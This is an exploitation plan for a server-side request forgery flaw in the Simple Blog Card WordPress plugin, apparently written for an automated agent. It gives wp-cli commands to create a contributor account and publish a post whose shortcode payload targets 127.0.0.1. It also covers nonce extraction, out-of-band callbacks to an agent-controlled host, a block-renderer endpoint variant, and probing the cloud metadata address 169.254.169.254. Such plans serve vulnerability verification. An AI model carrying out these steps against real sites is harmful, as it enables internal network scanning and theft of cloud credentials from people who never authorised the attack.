Exploitation Research Plan - CVE-2026-32357

1. Vulnerability Summary

The Simple Blog Card plugin for WordPress is vulnerable to Server-Side Request Forgery (SSRF) in versions up to and including 2.37. The vulnerability exists because the plugin fails to properly validate the url parameter provided in its shortcode or Gutenberg block before making an HTTP request to fetch Open Graph Protocol (OGP) metadata. An authenticated attacker with Contributor-level permissions or higher can use this to force the web server to make requests to internal services, metadata endpoints (e.g., AWS/GCP), or perform internal port scanning.

2. Attack Vector Analysis

• Entry Point: The [simpleblogcard] shortcode or the simple-blog-card/simpleblogcard-block Gutenberg block.
• Vulnerable Parameter: url attribute.
• Authentication: Authenticated (Contributor+). Contributors can create posts and insert shortcodes.
• Sink: wp_remote_get() (as indicated in the plugin's changelog version 1.37 and 2.28).
• Preconditions: The plugin must be active. The attacker needs the ability to save a post or preview a post containing the shortcode/block.

3. Code Flow

1. Hook Registration: In lib/class-simpleblogcard.php, the __construct method registers the shortcode and block:

   add_action( 'init', array( $this, 'simpleblogcard_block_init' ) );
   add_shortcode( 'simpleblogcard', array( $this, 'simpleblogcard_func' ) );
   

2. Shortcode Execution: When a post containing the shortcode is rendered, simpleblogcard_func($atts) is called.
3. Attribute Processing: The $atts['url'] is extracted.
4. Request Initiation: simpleblogcard_func calls $this->simpleblogcard($a).
5. Vulnerable Sink (Inside simpleblogcard()):
   • The plugin checks if a cached version of the card exists.
   • If no cache is found, it uses wp_remote_get($a['url']) to fetch the target page content.
   • The fetched content is then parsed for OGP tags (og:title, og:description, og:image).
   • Because it uses wp_remote_get instead of wp_safe_remote_get, it does not block access to internal IP addresses (localhost, 192.168.x.x) or non-standard ports.

4. Nonce Acquisition Strategy

This vulnerability does not require a specific nonce for the execution phase because shortcodes are processed server-side whenever a post is viewed or previewed.

However, to inject the payload as a Contributor:

1. Post Creation via CLI: The agent can create a post with the payload directly using wp-cli, bypassing the need for browser-based nonces.
2. Editor Preview (Alternative): If the agent needs to trigger the SSRF through the Gutenberg editor's "Preview" feature, it would require a wp_rest nonce for the /wp/v2/block-renderer endpoint.
   • Strategy: Navigate to the post editor (wp-admin/post-new.php), and use browser_eval("wp.apiFetch.nonce") or extract it from window.wpApiSettings.nonce.

5. Exploitation Strategy

The goal is to demonstrate that the server can be forced to reach an internal service.

Step 1: Internal Service Discovery (Port Scan)

We will attempt to reach a known internal service (like a local web server or a closed port to see the difference in response time/error).

Payload: [simpleblogcard url="http://127.0.0.1:80"]

Step 2: Exploit Procedure

1. Login as Contributor: Authenticate the http_request tool session.
2. Create Post: Use wp-cli to create a post containing the SSRF payload.

   wp post create --post_type=post --post_status=publish --post_author=[CONTRIBUTOR_ID] --post_title="SSRF Test" --post_content='[simpleblogcard url="http://127.0.0.1:80"]'
   

3. View Post: Use http_request to GET the URL of the newly created post.
4. Observe Results:
   • Successful SSRF: The card may render with "localhost" information, or the plugin may time out/throw an error specific to the internal request.
   • OOB Verification: If the environment allows external requests, use a collaborator-style URL (e.g., http://[agent-ip]:[port]) and monitor for incoming connections.

6. Test Data Setup

1. Users: Create a contributor user.

   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
   

2. Internal Target: Ensure a service is running on 127.0.0.1:80 (Standard WP install) or use a dummy listener.

7. Expected Results

• Evidence of Request: If the target url is an internal service, the plugin will attempt to parse it. If OGP tags aren't found, it might still display the <title> of the internal page in the card.
• Timing/Errors: Different behavior when accessing an open internal port vs. a closed one (e.g., a "Connection Refused" error vs. a "Timeout").
• Card Content: If the internal service returns valid HTML, the "Blog Card" rendered on the page will reflect the metadata of that internal service.

8. Verification Steps

1. Check Plugin Logs: If WP_DEBUG is on, check wp-content/debug.log for wp_remote_get errors.
2. Verify via CLI: Check if the plugin created a cache entry for the internal URL.

   wp option get simpleblogcard_access_ids
   

3. Intercept Traffic: Use a tool like tcpdump or a simple netcat listener on an internal port to confirm the server is hitting itself.

9. Alternative Approaches

• Gutenberg Block Exploitation: Instead of a shortcode, use the Block Editor. Send a POST request to /wp-json/wp/v2/block-renderer/simple-blog-card/simpleblogcard-block with the url attribute set to the internal target. This is often used by Gutenberg to show live previews.
• Protocol Smuggling: Try different protocols if wp_remote_get supports them (though it's usually limited to HTTP/S).
• Metadata Leakage: If running on AWS, target http://169.254.169.254/latest/meta-data/ to attempt to retrieve instance metadata.